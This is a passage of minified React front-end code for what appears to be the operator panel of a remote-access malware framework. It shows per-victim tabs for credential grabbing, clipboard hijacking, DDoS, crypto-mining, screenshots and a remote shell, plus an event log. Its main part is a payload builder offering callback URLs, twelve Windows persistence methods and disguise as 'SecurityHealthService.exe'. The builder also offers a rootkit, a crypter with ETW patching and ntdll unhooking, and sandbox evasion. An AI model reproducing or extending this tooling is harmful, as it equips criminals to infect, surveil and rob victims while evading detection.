0:"none"},children:a.jsx(JU,{agentId:i.id,agentStatus:i.status})}),z.has("troll")&&a.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:a.jsx(tV,{agentId:i.id})}),z.has("credentials")&&a.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:a.jsx(oV,{agentId:i.id,agentStatus:i.status,autoGrab:$,onAutoGrabConsumed:()=>{H(!1),n.delete("auto"),r(n,{replace:!0})}})}),z.has("clipper")&&a.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:a.jsx(uV,{agentId:i.id,agentStatus:i.status})}),z.has("ddos")&&a.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:a.jsx(aS,{agentIds:[i.id],agentStatus:i.status})}),z.has("miner")&&a.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:a.jsx(dV,{agentId:i.id,agentStatus:i.status})}),z.has("screenshots")&&a.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:a.jsx("div",{className:"p-6 animate-fade-in",children:B.length===0?a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",a.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):a.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:B.map(R=>a.jsxs("button",{onClick:()=>A(R.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border + hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[a.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:M.has(R.dataUrl)?a.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):a.jsx("img",{src:R.dataUrl,alt:`Screenshot ${to(R.taskId)}`,className:`w-full h-full object-cover opacity-90 + group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>W(fe=>new Set(fe).add(R.dataUrl))})}),a.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:to(R.taskId)}),a.jsx("span",{className:"text-xs text-zerin-text-muted",children:Jc(R.timestamp)})]})})]},R.taskId))})})})]}),a.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("button",{onClick:()=>O(R=>!R),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${_?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),a.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&a.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),_&&a.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:a.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[a.jsx(qU,{lines:ne,className:"flex-1 border-0"}),a.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&le.length>0&&a.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0 + bg-zerin-panel border border-zerin-panel-border + z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:a.jsxs("div",{className:"p-2",children:[a.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),a.jsx("div",{className:"flex flex-wrap gap-1",children:le.map(R=>a.jsx("button",{onClick:()=>Ne(R),className:`px-2.5 py-1 text-xs font-mono + bg-zerin-bg text-zerin-text-dim + border border-zerin-panel-border + hover:text-zerin-accent hover:border-zerin-accent/40 + hover:bg-zerin-accent-muted transition-colors`,children:R},R))})]})}),Y&&a.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:Y}),a.jsxs("form",{onSubmit:we,className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),a.jsx("input",{ref:ye,type:"text",value:x,onChange:R=>g(R.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border + px-3 py-1.5 text-zerin-text font-mono text-sm + placeholder-zerin-text-muted + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 + disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),a.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white + text-sm font-medium px-4 py-1.5 + disabled:opacity-30 disabled:cursor-not-allowed + transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),a.jsx(M5,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>I(!1)}),S&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>A(null),children:a.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:R=>R.stopPropagation(),children:[a.jsxs("button",{onClick:()=>A(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim + hover:text-zerin-text text-sm transition-colors px-2 py-1 + hover:bg-white/10`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),a.jsx("img",{src:S,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function Nn({label:e,active:t,onClick:n,badge:r}){return a.jsxs("button",{onClick:n,className:` + px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px + ${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"} + `,children:[e,r!==void 0&&a.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function Am({title:e,children:t}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),a.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function an({label:e,value:t,valueClass:n="",mono:r=!1}){return a.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[a.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),a.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const oS={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},F2={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},pV=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function hV(){const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState("all"),[o,l]=m.useState(null),c=m.useCallback(async()=>{try{const p=await QE();t(p)}catch{}finally{r(!1)}},[]);m.useEffect(()=>{c()},[c]);const{lastMessage:u}=m.useContext(vd);m.useEffect(()=>{if(u&&u.type==="event"){const p=u.payload;t(h=>{const x=[p,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(p=>p.type===i),f=1e3;return a.jsxs("div",{className:"p-6",children:[e.length>=f&&a.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[a.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),a.jsx("div",{className:"flex items-center justify-between mb-6",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),a.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[a.jsx(W2,{label:"All",active:i==="all",onClick:()=>s("all")}),pV.map(p=>a.jsx(W2,{label:oS[p],active:i===p,onClick:()=>s(i===p?"all":p)},p))]}),n?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&a.jsx("button",{onClick:()=>s("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Type"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),a.jsx("div",{children:d.map((p,h)=>a.jsx(xV,{event:p,expanded:o===p.id,onToggle:()=>l(o===p.id?null:p.id)},p.id||h))})]})]})}function xV({event:e,expanded:t,onToggle:n}){const r=F2[e.severity]||F2.info,i=e.details&&Object.keys(e.details).length>0;return a.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 0,children:[a.jsx("div",{children:a.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:oS[e.type]||e.type})}),a.jsx("div",{className:"min-w-0",children:a.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),a.jsx("div",{className:"text-right",children:a.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:lA(e.timestamp)})})]}),t&&i&&a.jsx("div",{className:"px-4 pb-3",children:a.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[a.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),a.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([s,o])=>a.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[a.jsxs("span",{className:"text-zerin-text-muted",children:[s,":"]}),a.jsx("span",{className:"text-zerin-text",children:String(o)})]},s))})]})})]})}function W2({label:e,active:t,onClick:n}){return a.jsx("button",{onClick:n,className:` + px-3 py-1 text-xs font-medium border transition-all duration-150 + ${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"} + `,children:e})}const U2="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function V2(){return`agent-${Math.random().toString(16).slice(2,6)}`}const H2=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],vV=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function gV(){const{isAdmin:e}=ya(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(!1),[l,c]=m.useState(0),[u,d]=m.useState(0),[f,p]=m.useState(""),[h,x]=m.useState(""),g=m.useSyncExternalStore(_5,E5),y=g.status==="building",[v,b]=m.useState(V2),[w,j]=m.useState([""]),[N,z]=m.useState("30"),[k,S]=m.useState("25"),[A,_]=m.useState(""),[O,P]=m.useState(U2),[I,Y]=m.useState(!1),[D,M]=m.useState("exe"),[W,$]=m.useState(0),[H,F]=m.useState(!0),[K,Z]=m.useState(!0),[oe,de]=m.useState(!0),[be,ye]=m.useState(!0),[G,te]=m.useState(1),[C,q]=m.useState("Microsoft\\WindowsUpdate"),[ne,B]=m.useState("SecurityHealthService.exe"),[le,we]=m.useState(null),Ne=m.useCallback(async()=>{try{const V=await t_();n(V)}catch{}finally{i(!1)}},[]);m.useEffect(()=>{Ne(),n_().then(V=>{j(ae=>ae.length===1&&ae[0]===""?[V.default_callback_url]:ae)}).catch(()=>{})},[Ne]),m.useEffect(()=>{if(!y||!g.startedAt){c(0),d(0);return}const V=setInterval(()=>{const U=Math.floor((Date.now()-g.startedAt)/1e3);d(U);const Q=Math.min(95,Math.floor(100*(1-Math.exp(-U/50))));c(Q)},500),ae=Math.floor((Date.now()-g.startedAt)/1e3);return d(ae),c(Math.min(95,Math.floor(100*(1-Math.exp(-ae/50))))),()=>clearInterval(V)},[y,g.startedAt]),m.useEffect(()=>{y&&o(!0)},[]),m.useEffect(()=>{g.status==="success"?(x(`Payload "${g.payloadName}" built successfully`),o(!1),ay(),Ne()):g.status==="error"&&(p(g.error||"Failed to build payload"),ay())},[g.status]),m.useEffect(()=>{if(!h)return;const V=setTimeout(()=>x(""),4e3);return()=>clearTimeout(V)},[h]);function Ae(){b(V2()),z("30"),S("25"),_(""),P(U2),Y(!1),M("exe"),$(0),F(!0),Z(!0),de(!0),ye(!0),te(1),q("Microsoft\\WindowsUpdate"),B("SecurityHealthService.exe")}async function R(V){V.preventDefault(),p("");const ae=w.filter(he=>he.trim()!=="");let U=0;A&&(U=Math.floor(new Date(A).getTime()/1e3));const Q={name:v.trim(),callback_urls:ae,sleep_interval:parseInt(N,10)||30,jitter_percent:parseInt(k,10)||25,kill_date:U,user_agent:O.trim(),output_format:D,debug:I,persist_methods:W||void 0,rootkit_enabled:H,encryption_enabled:K,anti_vm:oe,auto_elevate:be,install_dir:G,install_subdir:C,install_filename:ne};K_(Q.name);try{await e_(Q),Y_(),Ae()}catch(he){he instanceof bi?iy(he.message):iy("Failed to build payload")}}async function fe(V){const ae=st();if(!ae){p("Not authenticated");return}try{const U=await fetch(`/api/payloads/${V.payload_id}/download`,{headers:{Authorization:`Bearer ${ae}`}});if(!U.ok){p("Download failed");return}const Q=await U.blob(),he=URL.createObjectURL(Q),E=document.createElement("a");E.href=he;const ce=U.headers.get("content-disposition"),J=ce==null?void 0:ce.match(/filename="(.+?)"/);E.download=(J==null?void 0:J[1])||`${V.name||"payload"}.exe`,document.body.appendChild(E),E.click(),document.body.removeChild(E),URL.revokeObjectURL(he)}catch{p("Download failed")}}async function ve(V){try{await r_(V),we(null),Ne()}catch{p("Failed to delete payload")}}return a.jsxs("div",{className:"p-6",children:[a.jsxs("div",{className:"flex items-center justify-between mb-6",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),a.jsx("button",{onClick:()=>{o(!s),p("")},className:` + text-sm font-medium px-4 py-2 transition-all duration-150 + ${s?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"} + `,children:s?"Cancel":"+ Build Agent"})]}),h&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:h}),s&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),f&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:f}),a.jsxs("form",{onSubmit:R,className:"space-y-4",children:[a.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[a.jsx(ir,{label:"Payload Name",children:a.jsx("input",{type:"text",value:v,onChange:V=>b(V.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),a.jsx(ir,{label:"Output Format",children:a.jsxs("select",{value:D,onChange:V=>{const ae=V.target.value;M(ae),ae==="exe"&&$(U=>U&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:"exe",children:"EXE"}),a.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),a.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[a.jsx(ir,{label:"Sleep Interval (seconds)",children:a.jsx("input",{type:"number",value:N,onChange:V=>z(V.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),a.jsx(ir,{label:`Jitter (${k}%)`,children:a.jsx("input",{type:"range",value:k,onChange:V=>S(V.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r + [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r + [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r + [&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r + [&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),a.jsx(ir,{label:"Kill Date",children:a.jsx("input",{type:"datetime-local",value:A,onChange:V=>_(V.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [color-scheme:dark]`})})]}),a.jsx(ir,{label:"User Agent",children:a.jsx("input",{type:"text",value:O,onChange:V=>P(V.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),e&&a.jsx(ir,{label:"Callback URLs",children:a.jsxs("div",{className:"space-y-2",children:[w.map((V,ae)=>a.jsxs("div",{className:"flex gap-2",children:[a.jsx("input",{type:"text",value:V,onChange:U=>{const Q=[...w];Q[ae]=U.target.value,j(Q)},placeholder:"https://1.2.3.4:8443",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`}),w.length>1&&a.jsx("button",{type:"button",onClick:()=>j(w.filter((U,Q)=>Q!==ae)),className:"px-2 text-zerin-text-muted hover:text-zerin-danger transition-colors",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},ae)),a.jsx("button",{type:"button",onClick:()=>j([...w,""]),className:"text-xs text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"+ Add URL"})]})}),a.jsx(ir,{label:"Auto-Persistence (installed on first run)",children:a.jsx("div",{className:"grid grid-cols-3 gap-2",children:vV.map(V=>{const ae=V.dllOnly&&D==="exe";return a.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors + ${ae?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[a.jsx("input",{type:"checkbox",checked:(W&V.flag)!==0,disabled:ae,onChange:U=>{$(U.target.checked?W|V.flag:W&~V.flag)},className:"accent-zerin-accent"}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:V.label}),V.admin&&a.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),ae&&a.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},V.flag)})})}),a.jsx(ir,{label:"Install Location (self-copy target)",children:a.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),a.jsxs("select",{value:G,onChange:V=>te(parseInt(V.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:0,children:"%TEMP%"}),a.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),a.jsx("option",{value:2,children:"%APPDATA%"}),a.jsx("option",{value:3,children:"%PROGRAMDATA%"}),a.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),a.jsx("input",{type:"text",value:C,onChange:V=>q(V.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),a.jsx("input",{type:"text",value:ne,onChange:V=>B(V.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]})]})}),a.jsxs(ir,{label:"Evasion",children:[a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("input",{type:"checkbox",checked:H,onChange:V=>F(V.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:K,onChange:V=>Z(V.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),a.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1 + ${K?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[a.jsx("input",{type:"checkbox",checked:oe,disabled:!K,onChange:V=>de(V.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:be,onChange:V=>ye(V.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),a.jsxs("div",{className:"flex items-center justify-between pt-2",children:[a.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[a.jsx("div",{onClick:()=>Y(!I),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer + ${I?"bg-zerin-accent":"bg-zinc-700"}`,children:a.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200 + ${I?"translate-x-4":"translate-x-0"}`})}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),a.jsxs("div",{className:"flex gap-3",children:[a.jsx("button",{type:"button",onClick:()=>{o(!1),p("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),a.jsxs("button",{type:"submit",disabled:y,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r + px-5 py-2 transition-all duration-150\r + disabled:opacity-50 disabled:cursor-not-allowed\r + flex items-center gap-2`,children:[y&&a.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 